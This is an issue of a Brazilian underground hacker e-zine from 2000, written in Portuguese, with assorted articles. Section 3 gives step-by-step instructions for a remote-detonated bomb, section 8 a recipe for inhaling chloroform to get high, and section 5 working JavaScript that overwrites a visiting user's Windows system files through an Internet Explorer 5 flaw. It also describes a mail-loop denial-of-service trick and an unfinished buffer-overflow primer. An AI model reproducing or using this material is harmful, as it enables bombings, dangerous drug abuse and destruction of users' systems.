ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/Death Knights/death11
         _____________            ________            ___________
         ___  __/__  /______      ___  __ \__________ __  /___  /_
         __  /  __  __ \  _ \     __  / / /  _ \  __ `/  __/_  __ \
         _  /   _  / / /  __/     _  /_/ //  __/ /_/ // /_ _  / / /
         /_/    /_/ /_/\___/      /_____/ \___/\__,_/ \__/ /_/ /_/

             ______ __      _____        ______ _____
             ___  //_/_________(_)______ ___  /___  /________
             __  ,<  __  __ \_  /__  __ `/_  __ \  __/_  ___/
             _  /| | _  / / /  / _  /_/ /_  / / / /_ _(__  )
             /_/ |_| /_/ /_//_/  _\__, / /_/ /_/\__/ /____/
                                 /____/

 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------

                        Data estelar:  1.0975422957
                        Data terrestre:  15/07/2000

DeathKnights #11a

e-mail: death@DeathKnights.com

page: http://www.DeathKnights.com

     melhor visualizado com joe -asis e terminal com setfont alt-8x16. (linux)
                           melhor visualizado com edit.                (dos)

 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------

.-----------.
|   SECOES   \_______________________________________________________________
`----------------------------------------------------------------------------'

[1]==[ Esclarecimentos & algo mais...               ] [ Cacaio         ]==[1]
[2]==[ Aprenda GTK+ (primeiros passos)              ] [ DaveMustaine   ]==[2]
[3]==[ Bomba a controle remoto                      ] [ OvEr_DeAtH     ]==[3]
[4]==[ Mail bleh                                    ] [ Cacaio         ]==[4]
[5]==[ Bug no I.E. 5.0                              ] [ ]Anjo[         ]==[5]
[6]==[ turbinando o processador                     ] [ midnight       ]==[6]
[7]==[ buffer overflow                              ] [ encripty       ]==[7]
[8]==[ Como fazer lolo'                             ] [ Camalis        ]==[8]
[9]==[ Seguranca de Dados                           ] [ Cacaio         ]==[9]
[10]=[ SMB                                          ] [ DaveMustaine   ]=[10]
[11]=[ Como explorar CGI's                          ] [ Cacaio         ]=[11]
[11]=[ Brinquedinhos bobos                          ] [ Cacaio         ]=[12]
[13]=[ Ultimas Palavras                             ] [ Cacaio         ]=[13]

-=[  1  ]=-
.------------------------------------.
| = Esclarecimentos & algo mais ... = \______________________________________
`----------------------------------------------------------------------------'

        Demorou mas saiu.

        Enfim, a edicao 11. Esperada por muitos, que enchiam meu saco quase
que todo dia pra ver esta edicao. Esperamos nao decepcionar. Na verdade,
nao esperamos porcaria nenhuma! Fazemos isso por que queremos, se acha ruim,
nao leia! Ah, agora sim. Muito melhor.

        Nao nos responsabilizamos pela informacao contida neste zine. Se voce
usar indevidamente qualquer informacao contida aqui, a responsabilidade e' to-
da sua. Se for pego, preso ou sei la o que, nao nos perturbe e blablabla.

        Ah!!!! Se voce tiver uma materia qualquer e quiser publica-la aqui,
basta envia-la em modo TEXTO ASCII por e-mail para death@deathknights.com.
Vamos ler a materia, avaliar e talvez ela seja publicada. Mande qalquer coisa,
menos badcoms, trojans, hackear via ftp ou afins.

        Se voce nao gostou da informacao contida aqui, nao nos perturbe. O
problema e' todo seu.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  2  ]=-
.------------------------------------.
| = Aprenda GTK+ (primeiros passos) = \______________________________________
`----------------------------------------------------------------------------'
                             por DaveMustaine

Opa, ae... minha primeira materia... espero q vcs gostem =)....mas chega de
blah blah e vamos ao assunto.

Em primeiro lugar... vamos a um poco da parte "teorica" da GTK+, que tem sua
funcao... como um programador voltada a Objeto no Linux, espero que voces
gostem, pois acho q nunca vi uma zine brasileira escrever algo sobre GTK+,
vc pode usar isso muito e muito bem...
eh soh pensar...

A GTK+ pode ser Defina em 3 partes..

1. GLIB - Eh uma biblioteca de funcoes de utilidade geral, que poder ser usada
idependentemente do GTK+, essa bibli. inclui coisas como, alocacao de memoria
com suporte estendido a depuracao, funcoes para aumentar a portabilidade
do prog. e cozitas mas...

2. GDK - Eh um conjunto de funcoes graficas, sem q precise usar a XLib.

3. GTK - a GTK eh definida por uma variavel especial (ohhhh), q eh a
GtkWidget, q contem informacoes cor, posicao na tela, etc... alem do
GtkWidget, a GTK possui outros varios tipos de variaveis... que saum feitos e
fornecidos pelo GTK+... algun deles muito bons...
COMO: gint, guint, gchar, guint64.

blz... um poco de materia... agora pratica... vamo ae =-).

-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
#include <gtk/gtk.h>

int main (int argc, char **argv) /*acho q jah conhecem de outro lugar hehehe*/
{
GtkWidget *janela; /* definir a janela */
GtkWidget *label;  /* define a frase a ser escrita */
gtk_init (&argc, &argv);
janela = gtk_window_new (GTK_WINDOW_TOPLEVEL);  /* cria a janela */
gtk_container_border_width (GTK_CONTAINER (janela), 10); /* define a borda e tal */
label = gtk_label_new ("Hello World uehuae"); /* escreve a frase */
gtk_container_add (GTK_CONTAINER (janela), label); /* adiciona a janela + label */
gtk_widget_show (label);
gtk_widget_show (janela); /* mostra as duas na tela...*/
gtk_main();
return (0);
}
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
gcc -o hello hello.c 'gtk-config -cflags -libs'

LoL hahaha... viram ae... quem tem um poco de nocao de C/C++ aprende rapido
(naum eh o meu caso :( ), mas tudo bem... a gente aprende um dia hehehe...
vamos pro 2. prog ?

Esse ae agora eh um poco mais "avancado" q o outro... vamos usar o callback
nesse... eh uma funcao que executa uma determinada funcao atraves de algum
botao acionado.

-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
#include <gtk/gtk.h>
void hello (GtkWidget *widget, gpointer data) /* essa eh a funcao do callback */

{
     g_print ("Hello World!\n"); /* jah sabem o q isso faz neh ? hehe */

}
gint delete_event (GtkWidget *widget, GdkEvent *event, gpointer data)
 /* delete_event eh umas das funcoes da GTK+ */
{
     g_print ("delete)event detectado\n");
     return (TRUE); /* quando for TRUE, ele ignora a tentativa de sair do programa*/
}

void destroy (GtkWidget *widget, gpointer data)
{

      gtk_main_quit();
}

int main (int argc, char **argv)

{
      GtkWidget *janela;
      GtkWidget *botao;
      gtk_init (&argc, &argv);
      janela = gtk_window_new (GTK_WINDOW_TOPLEVEL); /* lembram de antes ? */
      gtk_signal_connect (GTK_OBJECT (janela), "delete_event", GTK_SIGNAL_FUNC (delete_event), NULL);
      gtk_signal_connect (GTK_OBJECT (janela), "destroy". GTK_SIGNAL_FUNC (destroy), NULL);
      botao = gtk_button_new_with_label ("Clique aki para sair");
      gtk_signal_connect (GTK_OBJECT (botao), "clicked", GTK_SIGNAL_FUNC (hello), NULL;
      gtk_singal_connect_object (GTK_OBJECT (botao), "clicked" GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (janela));
      gtk_container_add (GTK_CONTAINER (janela), botao);
      gtk_widget_show botao (botao);
      gtk_widget_show (janela);
      gtk_main ();
      return (0);
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------

Vo explicar um poco... das coisa que eu nao fiz comentario...

- o "destroy" eh criado por nos, e ativado quando a janela princi. for ativada
- gtk_signal_connect (GTK_OBJECT (janela),"delete_event" ... essa funcao nova...
uma funcao que conecta a um evento. neste caso o "delete_event".

Ufa... acho q chega por agora... na proxima zine vou mostrar umas funcoes
novas e eventos novos para nos... eh soh estudar q vc vai aprender...

intel+ pro6

     DaveMustaine
     `'`'`'`'`'`'

-=[  3  ]=-
.----------------------------.
| = Bomba a controle remoto = \______________________________________________
`----------------------------------------------------------------------------'
                                por OvEr_DeAtH

Para fazer isso vc vai gastar bastante grana,  mas  voce pode testar ela
sem estragar o material principal.
Grande parte do material necessario, sao materiais de Aeromodelismo, por
tanto, procure lugares onde vendem os mesmos.

Material:

-01 Receptor FM.
-01 Cristal de frequencia FM (procure frequncias altas como:  72.200  ou
    perto disso, pois, quanto maior for a freq, maior sera o alcance.)
-01 Controle de 2 canais FM.
-01 Servo.
-01 Bateria de alimentacao do receptor FM
-01 Capacitor de 220 v.
-   Fios.
-01 Lampada de arvore de natal. (opcional)
-   Polvora, explosivo liquido ou gás de carbureto (a quantidade pode va-
    riar de acordo com a sua necessidade, quanto + maior sera a explosao)
    o gas de carbureto, e o mesmo gas usado em maçaricos, vc encontra  em
    qquer casa de material de contru‡ao.

*******************************CONSTRUCAO********************************

1o) Primeiramente faca a bomba com a polvora, explosivo liquido ou o gas.
(Obs.: o gas de carbureto e + recomendado)

2o) Depois pegue o receptor FM:
                                   _
              _____________________ \
Entrada do---|--------> |___|  |___| \
cristal.     |                 |___|  \
             |                 |___|   \
             |                 |___|    > Estas sao as
             |                 |___|   /  entradas dos
             |                 |___|__/   servos.
/============|_________________|___|--------------------> Geralmente es-
   ^                                ta ultima entrada costuma ser da ba-
   |                                teria alimentadora do receptor e ser
   |                                vo(em alguns casos esta pode tbm ser
   |                                a primeira entrada).
   |
   |______ este e o fio de antena do receptor vc deve mante-la estendi-
           da o maximo possivel para obter + alcance de freq.

Obs: A quantidade de entrada de servos varia de acordo com o  receptor,
por exemplo:
se o receptor for para uma recepcao de 7 canais, ele vai ter 7 entradas,
e assim por diante...

dai, encaixe o cristal RECEPTOR de sinais na sua devida entrada.
(receptor.jpg)

3o) Encaixe o servo no Receptor.

4o) Encaixe a bateria de alimenta‡ao do receptor na sua devida entrada.

5o) Faca um terminal na parte rotativa do servo:
(veja foto servo.jpg)
E, depois de feito esse terminal solde um fio nele, e solde a extremidade
desse fio em um dos terminais do CAPACITOR 220v. Se vc for usar a lampada
como o dispositivo de explosao, corte o vidro q envolve  akela  "molinha"
na qual a corrente passa e ilumina, mas c/ muito cuidado p/ nao danificar
ela, cortando e retirando apenas o vidro que a envolve.
(Obs: a lampada so funciona se vc for usar a bomba a gas,que vc pode usar
tanto a lampada como so o capacitor.)

6o) Faca um outro terminal para dar contato no terminal q vc fez no servo
neste novo terminal solde um fio, solde  a extremidade desse fio a um dos
terminais da lampada, ou se vc quiser, pode fazer um outro esquema q fa‡a
com q o CAPACITOR de um curto c/ a carga q ele tem, mas p/ isso,  logica-
mente q o CAPACITOR tem q estar dentro do corpo da bomba, agora  solde um
outro fio ligando o outro terminal do capacitor ao outro terminal da lam-
pada.  Agora,  basta pegar lampada e coloca-la dentro da bomba e fechar o
buraco desta usado para colocar a lampada,use algo como uma fita isolante
e feche-o bem lacrado!!!

7o) Agora estamos quase terminando, basta carregar a bateria do controle,
plugar o cristal "EMISSOR"  de freq. no seu devido encaixe, nao vou fazer
o diagrama do controle porque isso e muito facil de fazer, se vc nao con-
seguir fazer isso sozinho, mate-se.
:-P

8o) Agora junte todo esse material e amolde-os como lhe convem, o ideal e
faze-lo ocupar menos espaco possivel, vc tem tbm q arrumar um jeito de fa
ze-los ficarem bem fixos.

9o) Esta parte e uma das mais importantes,voce NAO pode de maneira alguma
deixar vazando NADA, seja a bomba de polvora, liquido, ou gas, quando  eu
fiz o teste, fiz c/ o gas de carbureto, acho q assim fika  mais  poderosa
a explosao, vc e quem decide! Mas seja oq vc decidir, faca direito, colo-
que uma valvula p/ quando vc encher o corpo da bomba de  gas, ele  apenas
deixe entrar o gas, nao permitindo seu vazamento, vc tem de  adaptar  com
cuidado, nao se esquecendo tbm de fazer uma entrada p/ o dispositivo  que
vai fechar o curto la dentro. Feche bem firme essa entrada c/ o dispositi
vo la dentro e pronto!! Basta mover a lavanca q esta usando o mesmo canal
do servo, que vai tudo pelos ares!!!! hehehe...

***OBS.:  Ah, E POR FAVOR NAO ESQUE€A DE CARREGAR O CAPACITOR!!!!!!!!!!
;)

     OvEr_DeAtH
     `'`'`'`'`'

-=[  4  ]=-
.--------------.
| = Mail bleh = \____________________________________________________________
`----------------------------------------------------------------------------'
                               por Cacaio

Nao vou escrever nada muito grande, mas so' algo no qual ninguem falou ainda.
Vou falar sobre loops infinitos de servidores de email.

O que eu mostrarei aqui pode causar consumo de banda e/ou travamento do
servidor de email.

Isso nao e' do sendmail, do cocomail, msmail, abacatemail ou pirulitomail.
Pode funcionar em qualquer servidor de email. Ou nao.

Quando um email e' enviado para um usuario desconhecido, o MAILER-DAEMON
cria um reply para o email do autor pra dizer que o endereco que ele tentou
enviar a mensagem nao existe. Se algum usuario quiser brincar com os
headers, pode forcar os servidores de email a consumir muita banda respondendo
os mails ou ate' travar.

Exemplificando:

eu mando uma mensagem falsa vindo de jaca@osfaya.com pra jaca@osfaya.com,
sendo que o usuario 'jaca' nao existe. Logo, o servidor de osfaya.com vai
mandar um reply pra jaca@osfaya.com, e assim por diante (se estiver bem
configurado nao ;).

Se o servidor estiver mal configurado e isso for possivel, apenas por voce
mandar umas simples 20 ou 30 mensagens o servidor pode entrar em um loop
em uma velocidade relativamente grande, comendo banda e processador, e talvez
ate' travando o servidor.

A solucao? Usar um servidor o qual voce possa configurar tudo. E saber
configurar.

[]'s

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`'

-=[  5  ]=-
.--------------------.
| = Bug no I.E. 5.0 = \______________________________________________________
`----------------------------------------------------------------------------'
                                por ]Anjo[

OBS: Essa mat‚ria foi escrita apenas como alerta aos perigos de se usar um
Navegador que tenha erros (Bugs) que possibilitem a‡äes tÆo prejudiciais ao
sistema como as descritas abaixo.

O Navegador Infernet Exploder 5.0 permite que uma p gina, executando scripts
(seja JavaScript ou VBScript) fa‡a a exporta‡Æo dos Favoritos do IE5, sem
pedir confirma‡Æo ao usu rio, gravando-os em um arquivo.

Essa p gina ou arquivo ficar  com os endere‡os dos Favoritos em forma de
links, bastando ao usu rio apenas clicar uma vez nela para ir para a p gina
"Alvo".

At‚ a¡, nÆo h  muito problema...o m ximo que uma p gina pode fazer ‚ encher
o HD do cliente com p ginas tendo os Favoritos como conte£do (o que demoraria
uma d‚cada).

Um dos problemas de se fazer isso ‚ que quando os Favoritos sÆo exporatado,
aparece uma mensagem: "A exporta‡Æo dos Favoritos foi conclu¡da com ˆxito".
Se isso aparece v rias e v rias vezes, o usu rio teclaria Ctrl+Alt+Del e
cancelaria o processo.

Por‚m, isso nÆo ‚ tudo que ‚ permitido fazer com a exporta‡Æo dos Favoritos.
Ao executar o comando para a exporta‡Æo dos Favoritos, ‚ necess rio fornecer
o caminho e o nome onde ele ficar  gravado. Ex: C:\Windows\Favoritos.html.
Eu testei v rias vezes, at‚ ter a certeza de que o navegador realmente nÆo
pediria permissÆo para gravar os favoritos em determinado arquivo.

Foi a¡ que tive a id‚ia de especificar um arquivo j  existente.
Fiz uma c¢pia de seguran‡a do C:\Windows\Win.ini e executei um comando,
utilizando JavaScript para poder gravar nesse arquivo que j  existe, para ver
qual seria a rea‡Æo do Navegador, descobrindo que o arquivo especificado
para ser o recipiente dos Favoritos j  existe no HD do cliente...a mensagem
que apareceu foi essa: "A exporta‡Æo dos Favoritos foi conclu¡da com ˆxito".

Achei estranho e resolvi abrir o Win.ini para ver o resultado e, qual nÆo
foi minha surpresa?

Todo o conte£do do Win.ini havia sido trocado pelos Favoritos do IE5.

NÆo acreditei e resolvi especificar o C:\Command.com para verificiar se isso
aconteceria com um arquivo bin rio...BUMBA...substitu¡do...adeus Command.com
( ¢bvio que havia feito Backup antes).

EntÆo, creiei uma p gina e a publiquei para ver o resultado.
Essa p gina tem comandos em JavaScript para substituir arquivos como:

C:\Command.com
C:\Autoexec.bat
C:\Config.sys
C:\Windows\Win.com
C:\Windows\Win.ini
C:\Windows\System.ini
C:\Windows\Command.com

Pedi a um amigo meu que entrasse no site (avisei-o com antecedˆncia sobre
o que aconteceria e pedi para que fizesse backup de seus arquivos) e
descobri que a p gina ‚ letal ao sistema operacional (nada que um disco de
boot e backups corretos nÆo consertem).

Por‚m, avan‡ando minha pesquisa, tentei tornar a p gina um tanto mais letal.
Tentei fazer com que ela sobrescrevesse o Explorer.exe (J  sabia que arquivos
em execu‡Æo nÆo podem ser alterados, por‚m, nÆo costumava nada tentar).
Tentei tamb‚m fazer com que os seguintes arquivos fossem sobrescritos:

C:\Msdos.sys
C:\Io.sys
C:\Windows\System.dat
C:\Windows\User.dat

Por‚m, descobri que nÆo d  para substituir arquivos que estejam marcados como
Somente Leitura.

Bom...chega de explica‡Æo e a¡ vai o c¢digo:

<script>
window.external.ImportExportFavorites(0,"c:\\command.com")
window.external.ImportExportFavorites(0,"c:\\windows\\command.com")
window.external.ImportExportFavorites(0,"c:\\config.sys")
window.external.ImportExportFavorites(0,"c:\\autoexec.bat")
window.external.ImportExportFavorites(0,"c:\\windows\\win.com")
window.external.ImportExportFavorites(0,"c:\\windows\\system.ini")
window.external.ImportExportFavorites(0,"c:\\windows\\win.ini")
</script>

OBS: Para cada arquivo que for substitu¡do, aparecer  a mensagem:
"A exporta‡Æo dos Favoritos foi conclu¡da com ˆxito".
No caso acima, aparecerÆo 7 mensagens.

Ess c¢digo dentro de uma p gina far  com que o usu rio que entrar nela,
perca seus arquivos de sistema que estÆo especificados acima (o que, para
usu rios inexperientes, seria a morte, pois nÆo saberiam utilizar um
Sys a: c:

O c¢digo pode ser utilizado para substituir qualquer arquivo dentro do
computador do pobre coitado que estiver utilizando o IE5, desde que:

1§ - Vocˆ conhe‡a sua localiza‡Æo;
2§ - NÆo esteja marcado como Somente Leitura ou Escondido.

Se quiser ver como funciona esse c¢digo, entre em:

http://www.cyberspace.org/~logon/tudosobre.html

     ]Anjo[
     `'`'`'

-=[  6  ]=-
.-----------------------------.
| = turbinando o processador = \_____________________________________________
`----------------------------------------------------------------------------'
                              por midnight

ae!!!
Bem, eh a primeira vez que eu estou escrevendo para o zine, bem chega de
enrolar, vamos ao que interessa!

Aqui eu vou dar uma dica de como deixar seu procesador um pouco mais rapido.

Materiais:

- Pasta termica ( encontrado em casas de eletronica )
- 01 palito ( pode ser qualquer coisa, - metal )

Como fazer:

Tire o dissipador, pegue a pasta termica e aplique abaixo do dissipador

Agora eh soh colocar o bixu em cima do processador e soh.

                 = = = = = = = =
                 = = = = = = = =
                 =============== -> dissipador
                 @@@@@@@@@@@@@@@ -> pasta
                 ***************
                 *************** -> processador

Bem, a diferenca pode ou nao ser sentida fisicamente, mas que isso resolve
um pouco, melhor ainda se tu adqurir um bom cooler, do tipow big.

ATENCAO: se tu fizer qualquer cagada, naum me encha o saku!!!!!

bem eh soh!

     midnight
     `'`'`'`'

-=[  7  ]=-
.--------------------.
| = buffer overflow = \______________________________________________________
`----------------------------------------------------------------------------'
                               por encripty

hm.. como eh dificil encontrar um material, bom, de assembler no Brasil.
Alias, tirando as mulheres, eu nao sei o q tem de bom aqui.
unf. Acabando de enxer linguica vamos logo ao q vc quer ler realmente.
Esse assunto eh meio complicado e se vc nao prestar atencao nos detalhes,
acabará se perdendo todo.
Isso aqui eh dedicado akeles que sabem um pouco de C e assembler.
E EH BASICO!

Dicas:
[1] Leia esse texto varias vezes.
[2] Leia tudo que voce encontrar about assembler.
[3] Leia o "Smashing The Stack For Fun And Profite" de aleph1.
[4] Leia, leia e leia. So assim voce vai ser alguem na vida.

<-- ok ok.. vamos comecar logo essa droga!

Eu Te pergunto: "Voce conhece assembler, ou ja ouviu falar?"
Voce me responde: "Ela e gostosa?"
hmm, monstro, pare de ler agora para o bem de seus neuronios.

-->
Iremos usar, aqui, a sintaxe AT&T. So pra revisar...
1. Os nomes dos registradores veem acompanhados de "%":
Exemplo: %esp

2. A ordem, Origem/Destino:
Exemplo: movl %esp,%eax ; Poe o valor do sp no ax

3. Formato de valores constantes/imediatos
Exemplo: movl $_DeathKnights!, %eax

4. Tamanho do operador
hmm.. isso eh interessante... as instrucoes veem acompanhadas de 'b', 'w' ou
'l'.
Sao elas que vap especificar o tamanho do operando. 'b' pra byte, 'w' pra
word e 'l' pra long.
exemplo: __asm__("movl %esp,%eax");
		     |
		     `-> long.

					O Buffer Overflow!

O que e o famoso "Buffer Overflow"?
Simples, e quando se poe mais dados do q o buffer suporta =)
An? entendeu nada? oh my god!...

1- O que e buffer?
R: Um buffer e apenas um bloco de memoria que armazena varias solicitacoes de
um mesmo tipo de dado.

2- E daih, como eu vou por mais dados nele, e como eu vou tirar proveito
disso?
R: hmmmm... continue lendo...

--Stack

Enquanto o CPU processa dados, ela precisa de um lugar pra rapidamente
salvar informacoes importantes devido ao espaco limitado
dos registradores("celulas de memoria").
Essa informacao e salva no stack, um parte muito especial da memoria que
pode ser acessada com algumas instrucoes em assembler.
O stack pode variar em tamanho e posicao.

A primeira coisa  guardada no stack sera  a ultima a ser lida, e a ultima a
ser guardada sera a primeira  a ser lida, esse sistema e chamado de LIFO,
ou "last in, first out" (ultimo dentro, primeiro a sair) =).

Olha isso:

                          :   ...                 .
                          |-----------------------:
             -2048 bytes  |   local array1[1024]  |  ...
                          |-----------------------|
             -1024 bytes  |   local array2[1024]  |  size 1024 bytes
                          |-----------------------|
  posicao atual do stack  |   base pointer        |  size 4 bytes
                          |-----------------------|
                +4 bytes  |   return adress       |  size 4 bytes
                          |-----------------------|
                +4 bytes  :   parâmetros ...      |  ...
                          .                       :

hmmm... As variaveis sao  diferentes, e a informacao e guardada no stack,
todo cpu usa um 'stack pointer', para  marcar a posicao atual,
E chamada  de SP. as partes a serem analisadas  serão o 'local array2'
e o 'return  address', so isso e necessário para termos root! yes =).

Quando nois executamu algu, o CPU salva um 'return address' no stack,
se o processo e finalizado, o cpu pula e pega o 'return address'.
Mas, se o processo salva mais  bytes em uma variavel local do que seu tamanho
normal, ira acontecer o 'overwrite', ira  sobrescrever  o
'return address' antigo, e assim sera nomeado 'overflow'.

Se (1024+8)1032 vezes o caractere "x" for escrito no array2 local, o
processo ira escrever novamente o 'return address'. e o stack ira parecer:
                           .
                          :   ...                 .  .
                          |-----------------------:
             -2048 bytes  |   local array1[1024]  |  ...
                          |-----------------------|
             -1024 bytes  |   1024 times "X"      |  size 1024 bytes
                          |-----------------------|
  posicao atual do stack  |      4 times "X"      |  size 4 bytes
                          |-----------------------|
                +4 bytes  |      4 times "X"      |  size 4 bytes
                          |-----------------------|
                +4 bytes  :   parâmetros ...      |  ...
                          .                       :

Assim, agora nos poderemos forcar o programa a pular onde nos quisermos!
ira sera muito interessante. poderemos criar um codigo no 'local variable'.

                            :   ...                 .
                          |-----------------------:
             -2048 bytes  |   local array1[1024]  |
                          |-----------------------|
             -1024 bytes  |      nosso code       | < -
                          |-----------------------|    |
  posicao atual do stack  |   4 bytes de lixo     |    |
                          |-----------------------|    |
                +4 bytes  |    jmp pro codigo     | ___|
                          |-----------------------|
                +4 bytes  :   parametros ...      |
                          .                       :

Bem... a continuacao desta materia ficarah para a proxima zine. ("ahhhhhhhh")... pois eh... soh vou continuar se eu tiver retorno de q gostaram e q querem q eu continue.

Bibliografia:

Masters of Brazilian Computing.
Smashing The Stack For Fun And Profite.

cya

     encripty               encripty@starmedia.com
     `'`'`'`'               `'`'`'`'`'`'`'`'`'`'`'

-=[  8  ]=-
.---------------------.
| = Como fazer lolo' = \_____________________________________________________
`----------------------------------------------------------------------------'
                               por Camalis

Caros amigos e Pihuas, vamos ao que interessa para fikar muito doido.

Vamos aos ingredientes:

1 - 1 Vidro de Cloroformio
2 - 10 Babaloo's
3 - (opcao alternativa) - 1 tablete de Halls (cereja)
4 - 1 Frasco de vidro
5 - 1 pedaco de pano

Preparacao:

Primeiramente, pege o cloro e o babaloo (ou halls) e tire somente as essencias
do babaloo. Misture bem com o cloro e ponha dentro do frasco de vidro.
Agite bem antes de usar.

Modo de Uso:

Molhe bem o pano com o liquido de dentro do frasco. Agora, ponha na boca e
respire com a boca, ateh voce nao conseguir mais.
Faca esse procedimento 2 ou 3 vezes. Agora, divirta-se!

     Camalis
     `'`'`'`

-=[  9  ]=-
.-----------------------.
| = Seguranca de Dados = \___________________________________________________
`----------------------------------------------------------------------------'
                               por Cacaio

Os principios da seguranca sao os seguinte:

- Confidencialidade
- Integridade
- Disponibilidade

Os beneficios da seguranca sao reduzir os riscos, viabilizar aplicacoes, dar
confianca ao executivo e ao usuario, proteger o negocio, e o mais importante:
aumentar a produtividade.

     .-------------------.
     | Problema           `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

A disseminacao da tecnologia digital e a conexao dos computadores em redes
criou tantas portas de acesso aos sistemas que ficou facil encontrar uma
que esteja aberta ou que deixe alguma brecha para os ataques.
Nao me refiro a portas TCP ou UDP, mas sim a vias, maneiras.
(esta ultima frase antes que os grandes "criticos" critiquem.
 ah, ao inves de criticarem, facam melhor.)

As situacoes podem ser as mais diversas, como por exemplo catastrofes,
problemas ambientais, supressao de servicos, comportamento anti-social e
acoes criminosas, dentre outras.

     .----------------------------------.
     | Um pequeno dado, so' pra informar `---------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Em um teste feito pelo Departamento de Defesa dos E.U.A., dos 8932 sistemas
participantes, 7860 foram invadidos com sucesso, de todos apenas 390
detectaram os ataquea e apenas 19 relataram os ataques.

     .-------------------.
     | Tipos de Ataque    `------------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Existem varios tipos de ataque. Aqui estao os mais frequentes:

- Roubo de senhas
- Engenharia social
- Bugs e backdoors
- Falha na autenticacao
- Falha de protocolo
- Obtendo informacoes
- Negacao de servico (DoS)

* Infiltracao deliberada *
**************************

Tem como objetivos principais o acesso as informacoes dos arquivos, descobrir
os interesses da informacao dos usuarios, alterar ou destruir arquivos e oter
livre uso dos recursos do sistema.

* Infiltracao ativa *
*********************

Infiltrar-se atraveis de canais ativos de comunicacoes.

Meios fisicos: incluem o acesso ao sistema atraves de uma posicao no centro
de computacao, ou seja, profissionais que ocupam cargos com acesso ao CPD
e deliberam as informacoes a terceiros; e o roubo de veiculos removiveis de
armazenamento.

Sapear: envolve o uso do acesso legitimo ao sistema para obtencao de
informacao nao autorizada.

Usar disfarce: e' a pratica da obtencao de identificacao propria atraves de
meios improprios (como a gravacao clandestina) e a seguir o acesso ao sistema
como um legitimo usuario.

Detectar e usar alcapoes: sao dispositivos de hardware, limitacoes de software
ou pontos de entrada especialmente plantados que permitem que fonte
nao-autorizada tenha acesso ao sistema.

     .------------------------.
     | Contaminacao Eletronica `-------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Pode ser feita por quatro agentes: Virus, Verme, Troia e Ameba.

Virus: programas feitos para danificar dados e/ou causar falhas das mais
diversas ao sistema.

Verme: tambem conhecido como worm, ele se procria e se espalha. Pode danificar
dados e o sistema ou nao.

Troia: e' justamente como um cavalo de troia. Caso executado, pode executar
funcoes como de backdoor, dando acesso remoto, e as mais diversas possiveis.

Ameba: o usuario que mesmo dispondo de todos os meios de protecao ainda
consegue ser contaminado por um dos meios acima.

Vamos falar mais um pouco sobre virus. Virus e' a forma mais difundida de
programas de computador. Muitos sao altamente perigosos, criados para destruir
os dados no seu disco rigido. Outros sao menos ameacadores e outros
"inofensivos", contudo mesmo estes conhecidos como "inofensivos" custam
tempo e dinheiro para serem eliminados.

Os virus NUNCA destroem partes fisicas das maquinas, e atacam apenas
computadores da mesma plataforma.

Os virus podem ser virus de arquivos, de boot, criptografados, mutantes e
de macro.

Falarei sobre o virus de macro.

Alguns programas como o Lotus AmiPro, Microsoft Word e Microsoft Excel
permitem que o usuario experiente crie rotinas para agilizar ou personalizar
o trabalho.
Estas rotinas sao usadas por algumas pessoas com o intuito de prejudicar
alguem.
Virus de macro se incorporam em documentos Lotus AmiPro, Microsoft Word e
Microsoft Excel. Frequentemente chegam ao micro em arquivos anexados aos
e-mails recebidos como arquivos texto ou planilhas eletronicas.
Quando transmitido via e-mail, um arquivo infectado com virus de macro
e' invisivel aos mecanismos de deteccao. Somente quando o usuario iniciar o
arquivo anexado ele podera ser detectado e eliminado.

     .-----------------------.
     | Aumentando a Seguranca `--------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Para ter uma seguranca maior, sempre tenha os seguintes cuidados:

Cuidados gerais: mantenha backup de seus dados, mantenha seu computador
organizado, restrinja o acesso de estranhos ao computador, e esteja atento
a sinais anormais na funcionalidade do computador.

Crie em sua empresa uma politica de seguranca.

Utilize um firewall. Um firewall restringe acessos a um local cuidadosamente
controlado, impede que invasores alcancem suas demais defesas e restringem
saidas de um local cuidadosamente controlado.

Lembre-se: um firewall nao pode te proteger contra pessoas internas, e contra
acesso fisico.

Use e abuse da criptografia. Criptografia e' um metodo utilizado para
modificar m texto original de uma mensagem a ser transmitida, gerando um
texto criptografado na origem, atraves de um processo de codificacao definido
por um metodo de criptografia. O texto criptografado e' entao transmitido e,
no destino, o inverso ocorre, isto e', o metodo de criptografia e' aplicado
agora para decodificar o texto criptografado transformando-o no texto
original.

A criptografia pode ser simetrica ou assimetrica.

* Criptografia Simetrica *
**************************

este metodo de criptografia consiste em substituir as letras de uma mensagem
pela enesima letra apos a sua posicao no alfabeto.

Exemplo:
-------
                   __________             __________
                   | Cacaio |   <----->   | ^)^)8@ |
                   ----------             ----------
                     Texto                   Texto
                     Plano               Criptografado

Data Encryption Standard (DES): e' um dos principais metodos de criptografia
baseada em chave secreta. Foi desenvolvido pela IBM e adotado pelo governo
do E.U.A como metodo de criptografia padrao.

O metodo DES codifica blocos de 64 bits de texto normal gerando 64 bits de
texto criptografado. O algoritmo de codificacao e' parametrizado por uma
chave K de 56 bits e possui 19 estagios diferentes.

* Criptografia Assimetrica *
****************************

Este metodo de criptografia baseia-se na utilizacao de chaves distintas:
uma para codificacao(E) e outra para decodificacao(D), escolhidas de forma
que a derivacao de D a partir de E seja em termos praticos, senao impossivel,
pelo menos dificil de ser realizada.

Exemplo:
-------
                       A\.            ./B
                          \.        ./
                            \.    ./
                              \../
                              ./\.
                            ./    \.
                          ./        \.
privada A      publica B./            \.publica A      privada B
         \.                                          ./
           \.                                      ./
